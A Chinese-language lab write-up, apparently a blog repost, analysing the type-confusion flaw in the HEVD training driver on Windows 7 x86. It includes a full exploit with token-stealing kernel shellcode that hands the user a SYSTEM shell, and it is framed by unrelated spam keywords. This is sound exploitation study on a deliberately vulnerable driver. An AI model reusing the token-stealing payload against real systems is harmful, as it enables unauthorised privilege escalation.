最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

漏洞分析丨HEVD-10.TypeConfusing[win7x86]

2022-08-03 22:49 作者:rkvir逆向工程學院  | 我要投稿

作者selph

前言


窺探Ring0漏洞世界:類型混淆

實驗環(huán)境:

?虛擬機:Windows 7 x86


?物理機:Windows 10 x64


?軟件:IDA,Windbg,VS2022


漏洞分析


老樣子,先IDA分析漏洞函數(shù)TriggerTypeConfusion,然后再看看源碼

首先是申請了8字節(jié)非分頁池內(nèi)存


然后接下來,把用戶傳入的8字節(jié)結(jié)構(gòu)保存到了內(nèi)核申請的8字節(jié)空間里,然后調(diào)用了一個初始化函數(shù),程序就結(jié)束了


現(xiàn)在來看看這個初始化程序,打印后4字節(jié)的內(nèi)容,然后調(diào)用后4字節(jié)的內(nèi)容(回調(diào)函數(shù)):


從反匯編的層面看到的是,這里傳入的后4字節(jié)會被當成函數(shù)調(diào)用

接下來看看源碼:

/// <summary>
/// Trigger the Type Confusion Vulnerability
/// </summary>
/// <param name="UserTypeConfusionObject">The pointer to USER_TYPE_CONFUSION_OBJECT object</param>
/// <returns>NTSTATUS</returns>
NTSTATUS
TriggerTypeConfusion(
_In_ PUSER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject
)
{
???NTSTATUS Status = STATUS_UNSUCCESSFUL;
???PKERNEL_TYPE_CONFUSION_OBJECT KernelTypeConfusionObject = NULL;

???PAGED_CODE();

????__try
????{
???????//
???????// Verify if the buffer resides in user mode
???????//

???????ProbeForRead(
???????????UserTypeConfusionObject,
???????????sizeof(USER_TYPE_CONFUSION_OBJECT),
???????????(ULONG)__alignof(UCHAR)
???????);

???????//
???????// Allocate Pool chunk
???????//

???????KernelTypeConfusionObject = (PKERNEL_TYPE_CONFUSION_OBJECT)ExAllocatePoolWithTag(
???????????NonPagedPool,
???????????sizeof(KERNEL_TYPE_CONFUSION_OBJECT),
???????????(ULONG)POOL_TAG
???????);

???????if (!KernelTypeConfusionObject)
????????{
???????????//
???????????// Unable to allocate Pool chunk
???????????//

???????????DbgPrint("[-] Unable to allocate Pool chunk\n");

???????????Status = STATUS_NO_MEMORY;
???????????return Status;
????????}
???????else
????????{
???????????DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
???????????DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
???????????DbgPrint("[+] Pool Size: 0x%zX\n", sizeof(KERNEL_TYPE_CONFUSION_OBJECT));
???????????DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject);
????????}

???????DbgPrint("[+] UserTypeConfusionObject: 0x%p\n", UserTypeConfusionObject);
????????DbgPrint("[+] KernelTypeConfusionObject: 0x%p\n", KernelTypeConfusionObject);
???????DbgPrint("[+] KernelTypeConfusionObject Size: 0x%zX\n", sizeof(KERNEL_TYPE_CONFUSION_OBJECT));

???????KernelTypeConfusionObject->ObjectID = UserTypeConfusionObject->ObjectID;
???????KernelTypeConfusionObject->ObjectType = UserTypeConfusionObject->ObjectType;

???????DbgPrint("[+] KernelTypeConfusionObject->ObjectID: 0x%p\n", KernelTypeConfusionObject->ObjectID);
???????DbgPrint("[+] KernelTypeConfusionObject->ObjectType: 0x%p\n", KernelTypeConfusionObject->ObjectType);


#ifdef SECURE
???????//
???????// Secure Note: This is secure because the developer is properly setting 'Callback'
???????// member of the 'KERNEL_TYPE_CONFUSION_OBJECT' structure before passing the pointer
???????// of 'KernelTypeConfusionObject' to 'TypeConfusionObjectInitializer()' function as
???????// parameter
???????//

???????KernelTypeConfusionObject->Callback = &TypeConfusionObjectCallback;
???????Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);
#else
???????DbgPrint("[+] Triggering Type Confusion\n");

???????//
???????// Vulnerability Note: This is a vanilla Type Confusion vulnerability due to improper
???????// use of the 'UNION' construct. The developer has not set the 'Callback' member of
???????// the 'KERNEL_TYPE_CONFUSION_OBJECT' structure before passing the pointer of
???????// 'KernelTypeConfusionObject' to 'TypeConfusionObjectInitializer()' function as
???????// parameter
???????//

???????Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);
#endif

???????DbgPrint("[+] Freeing KernelTypeConfusionObject Object\n");
???????DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
???????DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject);

???????//
???????// Free the allocated Pool chunk
???????//

???????ExFreePoolWithTag((PVOID)KernelTypeConfusionObject, (ULONG)POOL_TAG);
???????KernelTypeConfusionObject = NULL;
????}
???__except (EXCEPTION_EXECUTE_HANDLER)
????{
???????Status = GetExceptionCode();
???????DbgPrint("[-] Exception Code: 0x%X\n", Status);
????}

???return Status;
}

這里安全版本和非安全版本的區(qū)別在于是否初始化回調(diào)函數(shù),然后再進入初始化函數(shù)

這里用的對象結(jié)構(gòu)如下,可以看到,用戶傳入的是4字節(jié)的Type,而在內(nèi)核結(jié)構(gòu)里,后4字節(jié)是個聯(lián)合體

typedef struct _USER_TYPE_CONFUSION_OBJECT
{
ULONG_PTR ObjectID;
???ULONG_PTR ObjectType;
} USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;

typedef struct _KERNEL_TYPE_CONFUSION_OBJECT
{
???ULONG_PTR ObjectID;
????union
????{
???????ULONG_PTR ObjectType;
???????FunctionPointer Callback;
????};
} KERNEL_TYPE_CONFUSION_OBJECT, *PKERNEL_TYPE_CONFUSION_OBJECT;

最后進入初始化函數(shù),就直接調(diào)用回調(diào)函數(shù)了:

/// <summary>
/// Type Confusion Object Initializer
/// </summary>
/// <param name="KernelTypeConfusionObject">The pointer to KERNEL_TYPE_CONFUSION_OBJECT object</param>
/// <returns>NTSTATUS</returns>
NTSTATUS
TypeConfusionObjectInitializer(
_In_ PKERNEL_TYPE_CONFUSION_OBJECT KernelTypeConfusionObject
)
{
???NTSTATUS Status = STATUS_SUCCESS;

???PAGED_CODE();

???DbgPrint("[+] KernelTypeConfusionObject->Callback: 0x%p\n", KernelTypeConfusionObject->Callback);
???DbgPrint("[+] Calling Callback\n");

???KernelTypeConfusionObject->Callback();

???DbgPrint("[+] Kernel Type Confusion Object Initialized\n");

????return Status;
}

這里初始化函數(shù)沒啥問題,主要在于進入初始化函數(shù)之前,對對象結(jié)構(gòu)的操作,因為使用了聯(lián)合體,如果沒有初始化Callback,那么用戶輸入的ObjectType會被當成Callback去執(zhí)行,這就是所謂的類型混淆。


漏洞利用


利用思路就很簡單了,傳入對象后四字節(jié)給定shellcode地址即可:

#include <iostream>
#include <Windows.h>

// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET?0x124?// nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET????0x050?// nt!_KTHREAD.ApcState.Process
#define PID_OFFSET?????????0x0B4?// nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET???????0x0B8?// nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET???????0x0F8?// nt!_EPROCESS.Token
#define SYSTEM_PID?????????0x004?// SYSTEM Process PID

typedef struct _UserObject {
???ULONG_PTR ObjectID;
???ULONG_PTR ObjectType;
}UserObject,*PUserObject;

VOID TokenStealingPayloadWin7() {
????// Importance of Kernel Recovery
????__asm {
???????pushad

????????;獲取當前進程EPROCESS
???????xor eax, eax
???????mov eax, fs: [eax + KTHREAD_OFFSET]
???????mov eax, [eax + EPROCESS_OFFSET]
???????mov ecx, eax

????????;搜索system進程EPROCESS
???????mov edx, SYSTEM_PID
???????SearchSystemPID :
???????mov eax, [eax + FLINK_OFFSET]
???????????sub eax, FLINK_OFFSET
???????????cmp[eax + PID_OFFSET], edx
???????????jne SearchSystemPID

???????????; token竊取
???????????mov edx, [eax + TOKEN_OFFSET]
???????????mov[ecx + TOKEN_OFFSET], edx

???????????;?環(huán)境還原?+?返回
???????????popad
????}
}

int main()
{
????ULONG UserBufferSize = sizeof(UserObject);
????PVOID EopPayload = &TokenStealingPayloadWin7;
???HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
???PUserObject UserBuffer = (PUserObject)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);

????//?構(gòu)造對象
???UserBuffer->ObjectID = 0x12345678;
???UserBuffer->ObjectType = (ULONG_PTR)EopPayload;

????ULONG WriteRet = 0;
???DeviceIoControl(hDevice, 0x222023, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);

???HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
???UserBuffer = NULL;

???system("pause");
???system("cmd.exe");

???return 0;
}


截圖演示



挖坑

CVE-2018-8174


參考資料

?[1]?hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Windows Driver (github.com)?https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

漏洞分析丨HEVD-10.TypeConfusing[win7x86]的評論 (共 條)

分享到微博請遵守國家法律
中超| 大港区| 射阳县| 贵州省| 古蔺县| 敦煌市| 巴楚县| 京山县| 资兴市| 松滋市| 剑河县| 盈江县| 道孚县| 和田县| 三台县| 池州市| 淄博市| 通山县| 永安市| 全南县| 鹤峰县| 榆树市| 和田县| 鄂州市| 四子王旗| 远安县| 永仁县| 武冈市| 荔波县| 宁波市| 法库县| 德阳市| 马尔康县| 桐城市| 绥棱县| 西青区| 镇沅| 文成县| 阿勒泰市| 平和县| 桓仁|